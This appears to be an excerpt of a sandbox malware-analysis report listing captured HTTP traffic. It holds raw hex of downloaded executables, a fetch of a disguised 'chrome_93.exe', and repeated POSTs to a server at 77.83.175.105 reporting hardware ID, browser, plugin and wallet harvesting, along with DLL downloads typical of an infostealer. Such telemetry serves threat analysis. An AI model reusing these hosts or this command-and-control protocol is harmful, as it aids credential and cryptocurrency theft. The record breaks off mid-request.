00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:17:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:17:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:17:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /chrome_93.exe HTTP/1.1Host: campuspersever.esCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 77.83.175.105Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDBHost: 77.83.175.105Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 44 39 31 37 34 37 31 37 45 38 41 33 37 38 38 39 35 32 38 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 2d 2d 0d 0a Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="hwid"ED9174717E8A3788952882------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="build"LogsDiller------JJEGCBGIDHCAKEBGIIDB--
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKJJKFHIJKKFHJJECBAHost: 77.83.175.105Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 2d 2d 0d 0a Data Ascii: ------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="message"browsers------IJKJJKFHIJKKFHJJECBA--
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJEGCBKKJECBGCGDBAHost: 77.83.175.105Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 2d 2d 0d 0a Data Ascii: ------CBKJEGCBKKJECBGCGDBAContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------CBKJEGCBKKJECBGCGDBAContent-Disposition: form-data; name="message"plugins------CBKJEGCBKKJECBGCGDBA--
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBFIIECBGCBGDHCAFCHost: 77.83.175.105Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 2d 2d 0d 0a Data Ascii: ------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="message"fplugins------BAEBFIIECBGCBGDHCAFC--
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIEHDAFHDHCBFIDGCFIDHost: 77.83.175.105Content-Length: 6155Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/sqlite3.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFHHost: 77.83.175.105Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIJJEGDBFIIDGCAKJEBHost: 77.83.175.105Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKKJJKJEGIECAKJJEBHost: 77.83.175.105Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 2d 2d 0d 0a Data Ascii: ------KKJKKJJKJEGIECAKJJEBContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------KKJKKJJKJEGIECAKJJEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKJKKJJKJEGIECAKJJEBContent-Disposition: form-data; name="file"------KKJKKJJKJEGIECAKJJEB--
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAAHost: 77.83.175.105Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 2d 2d 0d 0a Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file"------EGIJKEHCAKFCAKFHDAAA--
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/freebl3.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/mozglue.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/msvcp140.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/nss3.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/softokn3.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/vcruntime140.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 77.83.175.105Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHDHIDGHIDGIECBKKJJHost: 77.83.175.105Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="message"wallets------DGHDHIDGHIDGIECBKKJJ--
Source: global traffic	HTTP traffic detected: POST /18a9a962225b1ffb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAAFIDGDAAAAAAAAKEBHost: 77.83.175.105Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 